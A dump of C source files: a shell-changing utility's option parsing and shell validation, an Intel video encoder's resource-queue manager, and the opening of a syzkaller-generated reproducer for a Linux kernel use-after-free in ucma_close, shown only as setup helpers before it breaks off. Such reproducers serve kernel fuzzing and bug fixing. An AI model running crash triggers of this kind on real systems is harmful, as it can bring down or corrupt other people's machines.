'l' }, { "help", no_argument, 0, 'u' }, { "version", no_argument, 0, 'v' }, { NULL, no_argument, 0, '0' }, }; optind = c = 0; while (c != EOF) { c = getopt_long (argc, argv, "s:luv", long_options, &index); switch (c) { case EOF: break; case 'v': printf ("%s\n", version_string); exit (0); case 'u': usage (stdout); exit (0); case 'l': get_shell_list (NULL); exit (0); case 's': if (! optarg) { usage (stderr); exit (-1); } pinfo->shell = optarg; break; default: usage (stderr); exit (-1); } } /* done parsing arguments. check for a username. */ if (optind < argc) { if (optind + 1 < argc) { usage (stderr); exit (-1); } pinfo->username = argv[optind]; } } /* * usage () -- * print out a usage message. */ static void usage (fp) FILE *fp; { fprintf (fp, "Usage: %s [ -s shell ] ", whoami); fprintf (fp, "[ --list-shells ] [ --help ] [ --version ]\n"); fprintf (fp, " [ username ]\n"); } /* * prompt () -- * ask the user for a given field and return it. */ static char *prompt (question, def_val) char *question; char *def_val; { int len; char *ans, *cp; if (! def_val) def_val = ""; printf("%s [%s]: ", question, def_val); *buf = 0; if (fgets (buf, sizeof (buf), stdin) == NULL) { printf ("\nAborted.\n"); exit (-1); } /* remove the newline at the end of buf. */ ans = buf; while (isspace (*ans)) ans++; len = strlen (ans); while (len > 0 && isspace (ans[len-1])) len--; if (len <= 0) return NULL; ans[len] = 0; cp = (char *) xmalloc (len + 1); strcpy (cp, buf); return cp; } /* * check_shell () -- if the shell is completely invalid, print * an error and return (-1). * if the shell is a bad idea, print a warning. */ static int check_shell (shell) char *shell; { int i, c; if (*shell != '/') { printf ("%s: shell must be a full path name.\n", whoami); return (-1); } if (access (shell, F_OK) < 0) { printf ("%s: \"%s\" does not exist.\n", whoami, shell); return (-1); } if (access (shell, X_OK) < 0) { printf ("%s: \"%s\" is not executable.\n", whoami, shell); return (-1); } /* keep /etc/passwd clean. */ for (i = 0; i < strlen (shell); i++) { c = shell[i]; if (c == ',' || c == ':' || c == '=' || c == '"' || c == '\n') { printf ("%s: '%c' is not allowed.\n", whoami, c); return (-1); } if (iscntrl (c)) { printf ("%s: Control characters are not allowed.\n", whoami); return (-1); } } if (! get_shell_list (shell)) printf ("warning: \"%s\" is not listed as a valid shell.\n", shell); return 0; } /* * get_shell_list () -- if the given shell appears in /etc/shells, * return true. if not, return false. * if the given shell is NULL, /etc/shells is outputted to stdout. */ static boolean get_shell_list (shell_name) char *shell_name; { FILE *fp; boolean found; int len; found = false; fp = fopen ("/etc/shells", "r"); if (! fp) { if (! shell_name) printf ("No known shells.\n"); return true; } while (fgets (buf, sizeof (buf), fp) != NULL) { /* ignore comments */ if (*buf == '#') continue; len = strlen (buf); /* strip the ending newline */ if (buf[len - 1] == '\n') buf[len - 1] = 0; /* ignore lines that are too damn long */ else continue; /* check or output the shell */ if (shell_name) { if (! strcmp (shell_name, buf)) { found = true; break; } } else printf ("%s\n", buf); } fclose (fp); return found; } /* * xmalloc () -- malloc that never fails. */ static void *xmalloc (bytes) int bytes; { void *vp; vp = malloc (bytes); if (! vp && bytes > 0) { perror ("malloc failed"); exit (-1); } return vp; }
95788.c
/* * Copyright(c) 2018 Intel Corporation * SPDX - License - Identifier: BSD - 2 - Clause - Patent */ #include <stdlib.h> #include "EbSystemResourceManager.h" static void EbFifoDctor(EB_PTR p) { EbFifo_t *obj = (EbFifo_t*)p; EB_DESTROY_SEMAPHORE(obj->countingSemaphore); EB_DESTROY_MUTEX(obj->lockoutMutex); } /************************************** * EbFifoCtor **************************************/ static EB_ERRORTYPE EbFifoCtor( EbFifo_t *fifoPtr, EB_U32 initialCount, EB_U32 maxCount, EbObjectWrapper_t *firstWrapperPtr, EbObjectWrapper_t *lastWrapperPtr, EbMuxingQueue_t *queuePtr) { fifoPtr->dctor = EbFifoDctor; // Create Counting Semaphore EB_CREATE_SEMAPHORE(fifoPtr->countingSemaphore, initialCount, maxCount); // Create Buffer Pool Mutex EB_CREATE_MUTEX(fifoPtr->lockoutMutex); // Initialize Fifo First & Last ptrs fifoPtr->firstPtr = firstWrapperPtr; fifoPtr->lastPtr = lastWrapperPtr; // Copy the Muxing Queue ptr this Fifo belongs to fifoPtr->queuePtr = queuePtr; return EB_ErrorNone; } /************************************** * EbFifoPushBack **************************************/ static EB_ERRORTYPE EbFifoPushBack( EbFifo_t *fifoPtr, EbObjectWrapper_t *wrapperPtr) { // If FIFO is empty if(fifoPtr->firstPtr == (EbObjectWrapper_t*) EB_NULL) { fifoPtr->firstPtr = wrapperPtr; fifoPtr->lastPtr = wrapperPtr; } else { fifoPtr->lastPtr->nextPtr = wrapperPtr; fifoPtr->lastPtr = wrapperPtr; } fifoPtr->lastPtr->nextPtr = (EbObjectWrapper_t*) EB_NULL; return EB_ErrorNone; } /************************************** * EbFifoPopFront **************************************/ static EB_ERRORTYPE EbFifoPopFront( EbFifo_t *fifoPtr, EbObjectWrapper_t **wrapperPtr) { EB_ERRORTYPE return_error = EB_ErrorNone; // Set wrapperPtr to head of BufferPool *wrapperPtr = fifoPtr->firstPtr; // Update tail of BufferPool if the BufferPool is now empty fifoPtr->lastPtr = (fifoPtr->firstPtr == fifoPtr->lastPtr) ? (EbObjectWrapper_t*) EB_NULL: fifoPtr->lastPtr; // Update head of BufferPool fifoPtr->firstPtr = fifoPtr->firstPtr->nextPtr; return return_error; } /************************************** * EbFifoPopFront **************************************/ static EB_BOOL EbFifoPeakFront( EbFifo_t *fifoPtr) { // Set wrapperPtr to head of BufferPool if (fifoPtr->firstPtr == (EbObjectWrapper_t*)EB_NULL) { return EB_TRUE; } else { return EB_FALSE; } } static void EbCircularBufferDctor(EB_PTR p) { EbCircularBuffer_t* obj = (EbCircularBuffer_t*)p; EB_FREE(obj->arrayPtr); } /************************************** * EbCircularBufferCtor **************************************/ static EB_ERRORTYPE EbCircularBufferCtor( EbCircularBuffer_t *bufferPtr, EB_U32 bufferTotalCount) { bufferPtr->dctor = EbCircularBufferDctor; bufferPtr->bufferTotalCount = bufferTotalCount; EB_CALLOC(bufferPtr->arrayPtr, bufferPtr->bufferTotalCount, sizeof(EB_PTR)); return EB_ErrorNone; } /************************************** * EbCircularBufferEmptyCheck **************************************/ static EB_BOOL EbCircularBufferEmptyCheck( EbCircularBuffer_t *bufferPtr) { return ((bufferPtr->headIndex == bufferPtr->tailIndex) && (bufferPtr->arrayPtr[bufferPtr->headIndex] == EB_NULL)) ? EB_TRUE : EB_FALSE; } /************************************** * EbCircularBufferPopFront **************************************/ static EB_ERRORTYPE EbCircularBufferPopFront( EbCircularBuffer_t *bufferPtr, EB_PTR *objectPtr) { // Copy the head of the buffer into the objectPtr *objectPtr = bufferPtr->arrayPtr[bufferPtr->headIndex]; bufferPtr->arrayPtr[bufferPtr->headIndex] = EB_NULL; // Increment the head & check for rollover bufferPtr->headIndex = (bufferPtr->headIndex == bufferPtr->bufferTotalCount - 1) ? 0 : bufferPtr->headIndex + 1; // Decrement the Current Count --bufferPtr->currentCount; return EB_ErrorNone; } /************************************** * EbCircularBufferPushBack **************************************/ static EB_ERRORTYPE EbCircularBufferPushBack( EbCircularBuffer_t *bufferPtr, EB_PTR objectPtr) { // Copy the pointer into the array bufferPtr->arrayPtr[bufferPtr->tailIndex] = objectPtr; // Increment the tail & check for rollover bufferPtr->tailIndex = (bufferPtr->tailIndex == bufferPtr->bufferTotalCount - 1) ? 0 : bufferPtr->tailIndex + 1; // Increment the Current Count ++bufferPtr->currentCount; return EB_ErrorNone; } /************************************** * EbCircularBufferPushFront **************************************/ static EB_ERRORTYPE EbCircularBufferPushFront( EbCircularBuffer_t *bufferPtr, EB_PTR objectPtr) { // Decrement the headIndex bufferPtr->headIndex = (bufferPtr->headIndex == 0) ? bufferPtr->bufferTotalCount - 1 : bufferPtr->headIndex - 1; // Copy the pointer into the array bufferPtr->arrayPtr[bufferPtr->headIndex] = objectPtr; // Increment the Current Count ++bufferPtr->currentCount; return EB_ErrorNone; } static void EbMuxingQueueDctor(EB_PTR p) { EbMuxingQueue_t* obj = (EbMuxingQueue_t*)p; EB_DELETE_PTR_ARRAY(obj->processFifoPtrArray, obj->processTotalCount); EB_DELETE(obj->objectQueue); EB_DELETE(obj->processQueue); EB_DESTROY_MUTEX(obj->lockoutMutex); } /************************************** * EbMuxingQueueCtor **************************************/ static EB_ERRORTYPE EbMuxingQueueCtor( EbMuxingQueue_t *queuePtr, EB_U32 objectTotalCount, EB_U32 processTotalCount, EbFifo_t ***processFifoPtrArrayPtr) { queuePtr->dctor = EbMuxingQueueDctor; queuePtr->processTotalCount = processTotalCount; // Lockout Mutex EB_CREATE_MUTEX(queuePtr->lockoutMutex); // Construct Object Circular Buffer EB_NEW( queuePtr->objectQueue, EbCircularBufferCtor, objectTotalCount); // Construct Process Circular Buffer EB_NEW( queuePtr->processQueue, EbCircularBufferCtor, queuePtr->processTotalCount); // Construct the Process Fifos EB_ALLOC_PTR_ARRAY(queuePtr->processFifoPtrArray, queuePtr->processTotalCount); for(EB_U32 processIndex=0; processIndex < queuePtr->processTotalCount; ++processIndex) { EB_NEW( queuePtr->processFifoPtrArray[processIndex], EbFifoCtor, 0, objectTotalCount, (EbObjectWrapper_t *)EB_NULL, (EbObjectWrapper_t *)EB_NULL, queuePtr); } *processFifoPtrArrayPtr = queuePtr->processFifoPtrArray; return EB_ErrorNone; } /************************************** * EbMuxingQueueAssignation **************************************/ static EB_ERRORTYPE EbMuxingQueueAssignation( EbMuxingQueue_t *queuePtr) { EbFifo_t *processFifoPtr; EbObjectWrapper_t *wrapperPtr; // while loop while((EbCircularBufferEmptyCheck(queuePtr->objectQueue) == EB_FALSE) && (EbCircularBufferEmptyCheck(queuePtr->processQueue) == EB_FALSE)) { // Get the next process EbCircularBufferPopFront( queuePtr->processQueue, (void **) &processFifoPtr); // Get the next object EbCircularBufferPopFront( queuePtr->objectQueue, (void **) &wrapperPtr); // Block on the Process Fifo's Mutex EbBlockOnMutex(processFifoPtr->lockoutMutex); // Put the object on the fifo EbFifoPushBack( processFifoPtr, wrapperPtr); // Release the Process Fifo's Mutex EbReleaseMutex(processFifoPtr->lockoutMutex); // Post the semaphore EbPostSemaphore(processFifoPtr->countingSemaphore); } return EB_ErrorNone; } /************************************** * EbMuxingQueueObjectPushBack **************************************/ static EB_ERRORTYPE EbMuxingQueueObjectPushBack( EbMuxingQueue_t *queuePtr, EbObjectWrapper_t *objectPtr) { EbCircularBufferPushBack( queuePtr->objectQueue, objectPtr); EbMuxingQueueAssignation(queuePtr); return EB_ErrorNone; } /************************************** * EbMuxingQueueObjectPushFront **************************************/ static EB_ERRORTYPE EbMuxingQueueObjectPushFront( EbMuxingQueue_t *queuePtr, EbObjectWrapper_t *objectPtr) { EbCircularBufferPushFront( queuePtr->objectQueue, objectPtr); EbMuxingQueueAssignation(queuePtr); return EB_ErrorNone; } /********************************************************************* * EbObjectReleaseEnable * Enables the releaseEnable member of EbObjectWrapper. Used by * certain objects (e.g. SequenceControlSet) to control whether * EbObjectWrappers are allowed to be released or not. * * resourcePtr * Pointer to the SystemResource that manages the EbObjectWrapper. * The emptyFifo's lockoutMutex is used to write protect the * modification of the EbObjectWrapper. * * wrapperPtr * Pointer to the EbObjectWrapper to be modified. *********************************************************************/ EB_ERRORTYPE EbObjectReleaseEnable( EbObjectWrapper_t *wrapperPtr) { EbBlockOnMutex(wrapperPtr->systemResourcePtr->emptyQueue->lockoutMutex); wrapperPtr->releaseEnable = EB_TRUE; EbReleaseMutex(wrapperPtr->systemResourcePtr->emptyQueue->lockoutMutex); return EB_ErrorNone; } /********************************************************************* * EbObjectReleaseDisable * Disables the releaseEnable member of EbObjectWrapper. Used by * certain objects (e.g. SequenceControlSet) to control whether * EbObjectWrappers are allowed to be released or not. * * resourcePtr * Pointer to the SystemResource that manages the EbObjectWrapper. * The emptyFifo's lockoutMutex is used to write protect the * modification of the EbObjectWrapper. * * wrapperPtr * Pointer to the EbObjectWrapper to be modified. *********************************************************************/ EB_ERRORTYPE EbObjectReleaseDisable( EbObjectWrapper_t *wrapperPtr) { EbBlockOnMutex(wrapperPtr->systemResourcePtr->emptyQueue->lockoutMutex); wrapperPtr->releaseEnable = EB_FALSE; EbReleaseMutex(wrapperPtr->systemResourcePtr->emptyQueue->lockoutMutex); return EB_ErrorNone; } /********************************************************************* * EbObjectIncLiveCount * Increments the liveCount member of EbObjectWrapper. Used by * certain objects (e.g. SequenceControlSet) to count the number of active * pointers of a EbObjectWrapper in pipeline at any point in time. * * resourcePtr * Pointer to the SystemResource that manages the EbObjectWrapper. * The emptyFifo's lockoutMutex is used to write protect the * modification of the EbObjectWrapper. * * wrapperPtr * Pointer to the EbObjectWrapper to be modified. *********************************************************************/ EB_ERRORTYPE EbObjectIncLiveCount( EbObjectWrapper_t *wrapperPtr, EB_U32 incrementNumber) { EbBlockOnMutex(wrapperPtr->systemResourcePtr->emptyQueue->lockoutMutex); wrapperPtr->liveCount += incrementNumber; EbReleaseMutex(wrapperPtr->systemResourcePtr->emptyQueue->lockoutMutex); return EB_ErrorNone; } //ugly hack typedef struct DctorAble { EbDctor dctor; } DctorAble; void EBObjectWrapperDctor(EB_PTR p) { EbObjectWrapper_t* wrapper = (EbObjectWrapper_t*)p; if (wrapper->objectDestroyer) { //customized destroyer if (wrapper->objectPtr) wrapper->objectDestroyer(wrapper->objectPtr); } else { //hack.... DctorAble* obj = (DctorAble*)wrapper->objectPtr; EB_DELETE(obj); } } static EB_ERRORTYPE EBObjectWrapperCtor(EbObjectWrapper_t* wrapper, EbSystemResource_t *resource, EB_CREATOR objectCreator, EB_PTR objectInitDataPtr, EbDctor objectDestroyer) { EB_ERRORTYPE ret; wrapper->dctor = EBObjectWrapperDctor; wrapper->releaseEnable = EB_TRUE; wrapper->quitSignal = EB_FALSE; wrapper->systemResourcePtr = resource; wrapper->objectDestroyer = objectDestroyer; ret = objectCreator(&wrapper->objectPtr, objectInitDataPtr); if (ret != EB_ErrorNone) return ret; return EB_ErrorNone; } static void EbSystemResourceDctor(EB_PTR p) { EbSystemResource_t* obj = (EbSystemResource_t*)p; EB_DELETE(obj->fullQueue); EB_DELETE(obj->emptyQueue); EB_DELETE_PTR_ARRAY(obj->wrapperPtrPool, obj->objectTotalCount); } /********************************************************************* * EbSystemResourceCtor * Constructor for EbSystemResource. Fully constructs all members * of EbSystemResource including the object with the passed * ObjectCtor function. * * resourcePtr * Pointer that will contain the SystemResource to be constructed. * * objectTotalCount * Number of objects to be managed by the SystemResource. * * fullFifoEnabled * Bool that describes if the SystemResource is to have an output * fifo. An outputFifo is not used by certain objects (e.g. * SequenceControlSet). * * ObjectCtor * Function pointer to the constructor of the object managed by * SystemResource referenced by resourcePtr. No object level * construction is performed if ObjectCtor is NULL. * * objectInitDataPtr * Pointer to data block to be used during the construction of * the object. objectInitDataPtr is passed to ObjectCtor when * ObjectCtor is called. *********************************************************************/ EB_ERRORTYPE EbSystemResourceCtor( EbSystemResource_t *resourcePtr, EB_U32 objectTotalCount, EB_U32 producerProcessTotalCount, EB_U32 consumerProcessTotalCount, EbFifo_t ***producerFifoPtrArrayPtr, EbFifo_t ***consumerFifoPtrArrayPtr, EB_BOOL fullFifoEnabled, EB_CREATOR objectCreator, EB_PTR objectInitDataPtr, EbDctor objectDestroyer) { EB_U32 wrapperIndex; resourcePtr->dctor = EbSystemResourceDctor; resourcePtr->objectTotalCount = objectTotalCount; // Allocate array for wrapper pointers EB_ALLOC_PTR_ARRAY(resourcePtr->wrapperPtrPool, resourcePtr->objectTotalCount); // Initialize each wrapper for (wrapperIndex=0; wrapperIndex < resourcePtr->objectTotalCount; ++wrapperIndex) { EB_NEW( resourcePtr->wrapperPtrPool[wrapperIndex], EBObjectWrapperCtor, resourcePtr, objectCreator, objectInitDataPtr, objectDestroyer); } // Initialize the Empty Queue EB_NEW( resourcePtr->emptyQueue, EbMuxingQueueCtor, resourcePtr->objectTotalCount, producerProcessTotalCount, producerFifoPtrArrayPtr); // Fill the Empty Fifo with every ObjectWrapper for (wrapperIndex=0; wrapperIndex < resourcePtr->objectTotalCount; ++wrapperIndex) { EbMuxingQueueObjectPushBack( resourcePtr->emptyQueue, resourcePtr->wrapperPtrPool[wrapperIndex]); } // Initialize the Full Queue if (fullFifoEnabled == EB_TRUE) { EB_NEW( resourcePtr->fullQueue, EbMuxingQueueCtor, resourcePtr->objectTotalCount, consumerProcessTotalCount, consumerFifoPtrArrayPtr); } return EB_ErrorNone; } /********************************************************************* * EbSystemResourceReleaseProcess *********************************************************************/ static EB_ERRORTYPE EbReleaseProcess( EbFifo_t *processFifoPtr) { EbBlockOnMutex(processFifoPtr->queuePtr->lockoutMutex); EbCircularBufferPushFront( processFifoPtr->queuePtr->processQueue, processFifoPtr); EbMuxingQueueAssignation(processFifoPtr->queuePtr); EbReleaseMutex(processFifoPtr->queuePtr->lockoutMutex); return EB_ErrorNone; } /********************************************************************* * EbSystemResourcePostObject * Queues a full EbObjectWrapper to the SystemResource. This * function posts the SystemResource fullFifo countingSemaphore. * This function is write protected by the SystemResource fullFifo * lockoutMutex. * * resourcePtr * Pointer to the SystemResource that the EbObjectWrapper is * posted to. * * wrapperPtr * Pointer to EbObjectWrapper to be posted. *********************************************************************/ EB_ERRORTYPE EbPostFullObject( EbObjectWrapper_t *objectPtr) { EbBlockOnMutex(objectPtr->systemResourcePtr->fullQueue->lockoutMutex); EbMuxingQueueObjectPushBack( objectPtr->systemResourcePtr->fullQueue, objectPtr); EbReleaseMutex(objectPtr->systemResourcePtr->fullQueue->lockoutMutex); return EB_ErrorNone; } /********************************************************************* * EbSystemResourceReleaseObject * Queues an empty EbObjectWrapper to the SystemResource. This * function posts the SystemResource emptyFifo countingSemaphore. * This function is write protected by the SystemResource emptyFifo * lockoutMutex. * * objectPtr * Pointer to EbObjectWrapper to be released. *********************************************************************/ EB_ERRORTYPE EbReleaseObject( EbObjectWrapper_t *objectPtr) { EB_ERRORTYPE return_error = EB_ErrorNone; EbBlockOnMutex(objectPtr->systemResourcePtr->emptyQueue->lockoutMutex); // Decrement liveCount objectPtr->liveCount = (objectPtr->liveCount == 0) ? objectPtr->liveCount : objectPtr->liveCount - 1; if((objectPtr->releaseEnable == EB_TRUE) && (objectPtr->liveCount == 0)) { // Set liveCount to EB_ObjectWrapperReleasedValue objectPtr->liveCount = EB_ObjectWrapperReleasedValue; EbMuxingQueueObjectPushFront( objectPtr->systemResourcePtr->emptyQueue, objectPtr); } EbReleaseMutex(objectPtr->systemResourcePtr->emptyQueue->lockoutMutex); return return_error; } /********************************************************************* * EbSystemResourceGetEmptyObject * Dequeues an empty EbObjectWrapper from the SystemResource. This * function blocks on the SystemResource emptyFifo countingSemaphore. * This function is write protected by the SystemResource emptyFifo * lockoutMutex. * * resourcePtr * Pointer to the SystemResource that provides the empty * EbObjectWrapper. * * wrapperDblPtr * Double pointer used to pass the pointer to the empty * EbObjectWrapper pointer. *********************************************************************/ EB_ERRORTYPE EbGetEmptyObject( EbFifo_t *emptyFifoPtr, EbObjectWrapper_t **wrapperDblPtr) { // Queue the Fifo requesting the empty fifo EbReleaseProcess(emptyFifoPtr); // Block on the counting Semaphore until an empty buffer is available EbBlockOnSemaphore(emptyFifoPtr->countingSemaphore); // Acquire lockout Mutex EbBlockOnMutex(emptyFifoPtr->lockoutMutex); // Get the empty object EbFifoPopFront( emptyFifoPtr, wrapperDblPtr); // Reset the wrapper's liveCount (*wrapperDblPtr)->liveCount = 0; // Object release enable (*wrapperDblPtr)->releaseEnable = EB_TRUE; // Release Mutex EbReleaseMutex(emptyFifoPtr->lockoutMutex); return EB_ErrorNone; } /********************************************************************* * EbSystemResourceGetFullObject * Dequeues an full EbObjectWrapper from the SystemResource. This * function blocks on the SystemResource fullFifo countingSemaphore. * This function is write protected by the SystemResource fullFifo * lockoutMutex. * * resourcePtr * Pointer to the SystemResource that provides the full * EbObjectWrapper. * * wrapperDblPtr * Double pointer used to pass the pointer to the full * EbObjectWrapper pointer. *********************************************************************/ EB_ERRORTYPE EbGetFullObject( EbFifo_t *fullFifoPtr, EbObjectWrapper_t **wrapperDblPtr) { // Queue the process requesting the full fifo EbReleaseProcess(fullFifoPtr); // Block on the counting Semaphore until an empty buffer is available EbBlockOnSemaphore(fullFifoPtr->countingSemaphore); // Acquire lockout Mutex EbBlockOnMutex(fullFifoPtr->lockoutMutex); EbFifoPopFront( fullFifoPtr, wrapperDblPtr); // Release Mutex EbReleaseMutex(fullFifoPtr->lockoutMutex); return EB_ErrorNone; } /****************************************************************************** * EbSystemResourceGetFullObject * Dequeues an full EbObjectWrapper from the SystemResource. This * function does not block on the SystemResource fullFifo countingSemaphore. * This function is write protected by the SystemResource fullFifo * lockoutMutex. * * resourcePtr * Pointer to the SystemResource that provides the full * EbObjectWrapper. * * wrapperDblPtr * Double pointer used to pass the pointer to the full * EbObjectWrapper pointer. *******************************************************************************/ EB_ERRORTYPE EbGetFullObjectNonBlocking( EbFifo_t *fullFifoPtr, EbObjectWrapper_t **wrapperDblPtr) { EB_BOOL fifoEmpty; // Queue the Fifo requesting the full fifo EbReleaseProcess(fullFifoPtr); // Acquire lockout Mutex EbBlockOnMutex(fullFifoPtr->lockoutMutex); fifoEmpty = EbFifoPeakFront( fullFifoPtr); // Release Mutex EbReleaseMutex(fullFifoPtr->lockoutMutex); if (fifoEmpty == EB_FALSE) EbGetFullObject( fullFifoPtr, wrapperDblPtr); else *wrapperDblPtr = (EbObjectWrapper_t*)EB_NULL; return EB_ErrorNone; }
729475.c
// KASAN: use-after-free Read in ucma_close (2) // https://syzkaller.appspot.com/bug?id=cc6fc752b3819e082d0c // status:6 // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <arpa/inet.h> #include <dirent.h> #include <endian.h> #include <errno.h> #include <fcntl.h> #include <net/if.h> #include <net/if_arp.h> #include <netinet/in.h> #include <pthread.h> #include <sched.h> #include <setjmp.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/epoll.h> #include <sys/ioctl.h> #include <sys/mount.h> #include <sys/prctl.h> #include <sys/resource.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/time.h> #include <sys/types.h> #include <sys/uio.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #include <linux/capability.h> #include <linux/futex.h> #include <linux/genetlink.h> #include <linux/if_addr.h> #include <linux/if_ether.h> #include <linux/if_link.h> #include <linux/if_tun.h> #include <linux/in6.h> #include <linux/ip.h> #include <linux/neighbour.h> #include <linux/net.h> #include <linux/netlink.h> #include <linux/rfkill.h> #include <linux/rtnetlink.h> #include <linux/tcp.h> #include <linux/veth.h> static unsigned long long procid; static __thread int skip_segv; static __thread jmp_buf segv_env; static void segv_handler(int sig, siginfo_t* info, void* ctx) { uintptr_t addr = (uintptr_t)info->si_addr; const uintptr_t prog_start = 1 << 20; const uintptr_t prog_end = 100 << 20; int skip = __atomic_load_n(&skip_segv, __ATOMIC_RELAXED) != 0; int valid = addr < prog_start || addr > prog_end; if (skip && valid) { _longjmp(segv_env, 1); } exit(sig); } static void install_segv_handler(void) { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_handler = SIG_IGN; syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8); syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8); memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = segv_handler; sa.sa_flags = SA_NODEFER | SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); } #define NONFAILING(...) \ { \ __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \ if (_setjmp(segv_env) == 0) { \ __VA_ARGS__; \ } \ __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \ } static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static void use_temporary_dir(void) { char tmpdir_template[] = "./syzkaller.XXXXXX"; char* tmpdir = mkdtemp(tmpdir_template); if (!tmpdir) exit(1); if (chmod(tmpdir, 0777)) exit(1); if (chdir(tmpdir)) exit(1); } static void thread_start(void* (*fn)(void*), void* arg) { pthread_t th; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setstacksize(&attr, 128 << 10); int i = 0; for (; i < 100; i++) { if (pthread_create(&th, &attr, fn, arg) == 0) { pthread_attr_destroy(&attr); return; } if (errno == EAGAIN) { usleep(50); continue; } break; } exit(1); } typedef struct { int state; } event_t; static void event_init(event_t* ev) { ev->state = 0; } static void event_reset(event_t* ev) { ev->state = 0; } static void event_set(event_t* ev) { if (ev->state) exit(1); __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000); } static void event_wait(event_t* ev) { while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0); } static int event_isset(event_t* ev) { return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE); } static int event_timedwait(event_t* ev, uint64_t timeout) { uint64_t start = current_time_ms(); uint64_t now = start; for (;;) { uint64_t remain = timeout - (now - start); struct timespec ts; ts.tv_sec = remain / 1000; ts.tv_nsec = (remain % 1000) * 1000 * 1000; syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts); if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) return 1; now = current_time_ms(); if (now - start > timeout) return 0; } } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } struct nlmsg { char* pos; int nesting; struct nlattr* nested[8]; char buf[1024]; }; static struct nlmsg nlmsg; static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, const void* data, int size) { memset(nlmsg, 0, sizeof(*nlmsg)); struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; hdr->nlmsg_type = typ; hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; memcpy(hdr + 1, data, size); nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); } static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, int size) { struct nlattr* attr = (struct nlattr*)nlmsg->pos; attr->nla_len = sizeof(*attr) + size; attr->nla_type = typ; memcpy(attr + 1, data, size); nlmsg->pos += NLMSG_ALIGN(attr->nla_len); } static void netlink_nest(struct nlmsg* nlmsg, int typ) { struct nlattr* attr = (struct nlattr*)nlmsg->pos; attr->nla_type = typ; nlmsg->pos += sizeof(*attr); nlmsg->nested[nlmsg->nesting++] = attr; } static void netlink_done(struct nlmsg* nlmsg) { struct nlattr* attr = nlmsg->nested[--nlmsg->nesting]; attr->nla_len = nlmsg->pos - (char*)attr; } static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, int* reply_len) { if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) exit(1); struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; struct sockaddr_nl addr; memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; unsigned n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, (struct sockaddr*)&addr, sizeof(addr)); if (n != hdr->nlmsg_len) exit(1); n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); if (reply_len) *reply_len = 0; if (hdr->nlmsg_type == NLMSG_DONE) return 0; if (n < sizeof(struct nlmsghdr)) exit(1); if (reply_len && hdr->nlmsg_type == reply_type) { *reply_len = n; return 0; } if (n < sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr)) exit(1); if (hdr->nlmsg_type != NLMSG_ERROR) exit(1); return -((struct nlmsgerr*)(hdr + 1))->error; } static int netlink_send(struct nlmsg* nlmsg, int sock) { return netlink_send_ext(nlmsg, sock, 0, NULL); } static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset, unsigned int total_len) { struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset); if (offset == total_len || offset + hdr->nlmsg_len > total_len) return -1; return hdr->nlmsg_len; } static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type, const char* name) { struct ifinfomsg hdr; memset(&hdr, 0, sizeof(hdr)); netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr)); if (name) netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name)); netlink_nest(nlmsg, IFLA_LINKINFO); netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type)); } static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type, const char* name) { netlink_add_device_impl(nlmsg, type, name); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); (void)err; } static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name, const char* peer) { netlink_add_device_impl(nlmsg, "veth", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_nest(nlmsg, VETH_INFO_PEER); nlmsg->pos += sizeof(struct ifinfomsg); netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer)); netlink_done(nlmsg); netlink_done(nlmsg); 